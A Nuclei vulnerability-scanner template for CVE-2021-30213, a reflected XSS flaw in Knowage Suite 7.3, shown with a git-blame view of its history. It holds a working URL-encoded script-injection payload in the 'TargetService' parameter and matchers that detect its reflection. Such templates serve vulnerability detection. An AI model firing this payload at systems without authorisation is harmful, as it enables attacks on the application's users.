nuclei-templates/cves/2021/CVE-2021-30213.yaml

id: CVE-2021-30213

info:
  name: Knowage Suite 7.3 XSS
  author: alph4byt3
  severity: medium
  description: Knowage Suite 7.3 is vulnerable to unauthenticated reflected cross-site scripting (XSS). An attacker can inject arbitrary web script in '/servlet/AdapterHTTP' via the 'targetService' parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30213
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-30213
    cwe-id: CWE-79
  tags: cve,cve2021,xss,knowage

requests:
  - method: GET
    path:
      - "{{BaseURL}}/knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - text/html
Create CVE-2021-30213.yaml 2021-11-24 15:43:59 +00:00			`id: CVE-2021-30213`

			`info:`
			`name: Knowage Suite 7.3 XSS`
			`author: alph4byt3`
			`severity: medium`
			`description: Knowage Suite 7.3 is vulnerable to unauthenticated reflected cross-site scripting (XSS). An attacker can inject arbitrary web script in '/servlet/AdapterHTTP' via the 'targetService' parameter.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://nvd.nist.gov/vuln/detail/CVE-2021-30213`
Auto Generated CVE annotations [Fri Dec 3 07:23:34 UTC 2021] :robot: 2021-12-03 07:23:34 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 6.1`
Auto Generated CVE annotations [Fri Dec 3 07:23:34 UTC 2021] :robot: 2021-12-03 07:23:34 +00:00			`cve-id: CVE-2021-30213`
			`cwe-id: CWE-79`
Update CVE-2021-30213.yaml 2021-12-03 07:23:01 +00:00			`tags: cve,cve2021,xss,knowage`
Create CVE-2021-30213.yaml 2021-11-24 15:43:59 +00:00
			`requests:`
			`- method: GET`
			`path:`
Update CVE-2021-30213.yaml 2021-12-03 07:23:01 +00:00			`- "{{BaseURL}}/knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"`
Create CVE-2021-30213.yaml 2021-11-24 15:43:59 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`part: body`
Update CVE-2021-30213.yaml 2021-12-03 07:23:01 +00:00			`words:`
			`- '</script><script>alert(document.domain)</script>'`
Create CVE-2021-30213.yaml 2021-11-24 15:43:59 +00:00
			`- type: status`
			`status:`
			`- 200`

			`- type: word`
			`part: header`
			`words:`
			`- text/html`